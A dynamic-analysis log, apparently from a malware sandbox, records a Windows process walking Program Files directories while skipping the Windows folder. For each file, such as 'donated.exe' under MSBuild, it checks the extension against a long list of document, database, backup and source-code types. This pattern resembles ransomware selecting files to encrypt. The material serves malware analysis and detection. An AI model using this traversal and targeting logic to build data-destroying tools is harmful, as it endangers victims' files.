	[0257.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.706] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.706] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1
	[0257.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0257.706] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.707] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2290
	[0257.707] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.707] FindNextFileW (in: hFindFile=0x41b2290, lpFindFileData=0x324eb9c | out: lpFindFileData=0x324eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1
	[0257.707] FindClose (in: hFindFile=0x41b2290 | out: hFindFile=0x41b2290) returned 1
	[0257.707] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0257.707] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x324ee18 | out: lpFindFileData=0x324ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0257.707] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0257.707] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.707] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f094 | out: lpFindFileData=0x324f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1
	[0257.707] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.707] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.707] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0
	[0257.708] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.708] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.708] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0
	[0257.708] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.708] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.708] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0257.708] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.708] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0257.709] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1
	[0257.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.709] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.709] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1
	[0257.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.710] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.710] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0257.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b22d0
	[0257.956] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.956] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0257.956] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4180050 | out: hHeap=0x4a0000) returned 1
	[0257.957] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0257.957] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.957] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0
	[0257.957] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0257.957] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0257.957] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1
	[0257.957] lstrlenW (lpString="C:\\Program Files\\MSBuild") returned 24
	[0257.957] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\MSBuild") returned 1
	[0257.957] lstrlenW (lpString="MSBuild") returned 7
	[0257.957] lstrcmpiW (lpString1="C:\\Windows", lpString2="MSBuild") returned -1
	[0257.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a80080
	[0257.957] lstrlenW (lpString="C:\\Program Files\\MSBuild") returned 24
	[0257.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0257.958] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.958] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfbfaa0, ftCreationTime.dwHighDateTime=0x1d529fd, ftLastAccessTime.dwLowDateTime=0xb9d6f750, ftLastAccessTime.dwHighDateTime=0x1d4f759, ftLastWriteTime.dwLowDateTime=0xb9d6f750, ftLastWriteTime.dwHighDateTime=0x1d4f759, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="donated.exe", cAlternateFileName="")) returned 1
	[0257.958] lstrlenW (lpString="donated.exe") returned 11
	[0257.958] lstrlenW (lpString=".1cd") returned 4
	[0257.958] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0257.958] lstrlenW (lpString=".3ds") returned 4
	[0257.958] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0257.958] lstrlenW (lpString=".3fr") returned 4
	[0257.958] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0257.958] lstrlenW (lpString=".3g2") returned 4
	[0257.958] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0257.958] lstrlenW (lpString=".3gp") returned 4
	[0257.958] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0257.958] lstrlenW (lpString=".7z") returned 3
	[0257.958] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0257.958] lstrlenW (lpString=".accda") returned 6
	[0257.958] lstrcmpiW (lpString1=".accda", lpString2="ed.exe") returned -1
	[0257.958] lstrlenW (lpString=".accdb") returned 6
	[0257.958] lstrcmpiW (lpString1=".accdb", lpString2="ed.exe") returned -1
	[0257.958] lstrlenW (lpString=".accdc") returned 6
	[0257.958] lstrcmpiW (lpString1=".accdc", lpString2="ed.exe") returned -1
	[0257.958] lstrlenW (lpString=".accde") returned 6
	[0257.958] lstrcmpiW (lpString1=".accde", lpString2="ed.exe") returned -1
	[0257.958] lstrlenW (lpString=".accdt") returned 6
	[0257.958] lstrcmpiW (lpString1=".accdt", lpString2="ed.exe") returned -1
	[0257.958] lstrlenW (lpString=".accdw") returned 6
	[0257.958] lstrcmpiW (lpString1=".accdw", lpString2="ed.exe") returned -1
	[0257.959] lstrlenW (lpString=".adb") returned 4
	[0257.959] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".adp") returned 4
	[0257.959] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai") returned 3
	[0257.959] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0257.959] lstrlenW (lpString=".ai3") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai4") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai5") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai6") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai7") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ai8") returned 4
	[0257.959] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".anim") returned 5
	[0257.959] lstrcmpiW (lpString1=".anim", lpString2="d.exe") returned -1
	[0257.959] lstrlenW (lpString=".arw") returned 4
	[0257.959] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".as") returned 3
	[0257.959] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0257.959] lstrlenW (lpString=".asa") returned 4
	[0257.959] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".asc") returned 4
	[0257.959] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0257.959] lstrlenW (lpString=".ascx") returned 5
	[0257.960] lstrcmpiW (lpString1=".ascx", lpString2="d.exe") returned -1
	[0257.960] lstrlenW (lpString=".asm") returned 4
	[0257.960] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".asmx") returned 5
	[0257.960] lstrcmpiW (lpString1=".asmx", lpString2="d.exe") returned -1
	[0257.960] lstrlenW (lpString=".asp") returned 4
	[0257.960] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".aspx") returned 5
	[0257.960] lstrcmpiW (lpString1=".aspx", lpString2="d.exe") returned -1
	[0257.960] lstrlenW (lpString=".asr") returned 4
	[0257.960] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".asx") returned 4
	[0257.960] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".avi") returned 4
	[0257.960] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".avs") returned 4
	[0257.960] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".backup") returned 7
	[0257.960] lstrcmpiW (lpString1=".backup", lpString2="ted.exe") returned -1
	[0257.960] lstrlenW (lpString=".bak") returned 4
	[0257.960] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".bay") returned 4
	[0257.960] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".bd") returned 3
	[0257.960] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0257.960] lstrlenW (lpString=".bin") returned 4
	[0257.960] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".bmp") returned 4
	[0257.960] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".bz2") returned 4
	[0257.960] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0257.960] lstrlenW (lpString=".c") returned 2
	[0257.961] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0257.961] lstrlenW (lpString=".cdr") returned 4
	[0257.961] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cer") returned 4
	[0257.961] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cf") returned 3
	[0257.961] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0257.961] lstrlenW (lpString=".cfc") returned 4
	[0257.961] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cfm") returned 4
	[0257.961] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cfml") returned 5
	[0257.961] lstrcmpiW (lpString1=".cfml", lpString2="d.exe") returned -1
	[0257.961] lstrlenW (lpString=".cfu") returned 4
	[0257.961] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".chm") returned 4
	[0257.961] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cin") returned 4
	[0257.961] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".class") returned 6
	[0257.961] lstrcmpiW (lpString1=".class", lpString2="ed.exe") returned -1
	[0257.961] lstrlenW (lpString=".clx") returned 4
	[0257.961] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".config") returned 7
	[0257.961] lstrcmpiW (lpString1=".config", lpString2="ted.exe") returned -1
	[0257.961] lstrlenW (lpString=".cpp") returned 4
	[0257.961] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".cr2") returned 4
	[0257.961] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".crt") returned 4
	[0257.961] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0257.961] lstrlenW (lpString=".crw") returned 4
	[0257.962] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0257.962] lstrlenW (lpString=".cs") returned 3
	[0257.962] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0257.962] lstrlenW (lpString=".css") returned 4
